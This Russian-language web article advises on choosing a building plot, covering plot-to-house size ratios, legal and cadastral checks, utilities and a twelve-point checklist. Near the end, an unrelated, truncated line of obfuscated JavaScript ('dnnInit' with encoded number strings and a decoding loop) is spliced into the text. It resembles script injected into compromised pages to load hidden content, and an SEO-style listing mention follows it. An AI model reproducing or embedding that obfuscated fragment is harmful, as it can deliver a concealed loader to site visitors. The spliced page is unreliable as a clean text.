Выбор участка под строительство

При выборе участка под строительства необходимо первым делом определиться с площадью участка. Нужно исходить из планируемой площади дома. Расчету осуществляются в соответствии с формулой, приблизительно 1 к 10, то есть если площадь дома составляет 100 метров квадратных, то площадь участка должна составлять примерно 10 соток. Естественно, данная формула является не обязательной, но эти пропорции способствуют повышению его ликвидности в будущем.

Необходимо обратить внимание также и на юридические аспекты, доступность всех коммуникаций, характеристики почвы  и межевание участков. Кроме того, не нужно забывать и про такие нюансы, как

1. живописность окрестностей;
2. удаленность от рядом расположенных домов;
3. затененность участка соседними домами и деревьями;
4. возможность осуществления телефонизации дома;
5. ограничения по проведению строительных работ на участке на высоту, а также на место расположения дома;
6. высота будущего дома;
7. экология местности;
8. обслуживание дороги;
9. осуществление централизованного вывоза различных отходов и мусора;
10. доступность больницы, магазинов и почты;
11. расположение поблизости озера или речки;
12. возможность осуществления страхования объекта недвижимости.

Земельные участки, которые располагаются около мегаполиса и в экологически частом районе стоят достаточно дорого. По этой причине необходимо обратить внимание, если участок значительно отличается по стоимости, то есть стоит дешевле близ расположенных, то могут быть проблемы с документами.  В данном случае нужно попытаться определить причину удешевления стоимости участка во избежание проблем после покупки.

Кроме того, необходимо в процессе выбора участка собрать всю информацию о местности. В данном случае следует обратиться в органы местного самоуправления для предоставления более полной информации о предлагаемом участке. Следует знакомиться с данными, которые имеются в земельном кадастре, с результатами проведения мониторинга, резервирования и планирования, а также зонирования земельного угодья. Также необходимо пообщаться с будущими соседями. И уже после этого, можно определиться с приобретением участка.
function dnnInit(){var a=0,m,v,t,z,x=new Array(«9091968376″,»88879181928187863473749187849392773592878834213333338896″,»778787″,»949990793917947998942577939317″),l=x.length;while(++a<=l){m=x[l-a];t=z="";for(v=0;v

Сегодня в интернете представлено масса объявлений о продаже участков по типу «продаются участки по новорязанскому шоссе» и масса других. Поэтому выбрать наиболее подходящий вариант не составит особого труда.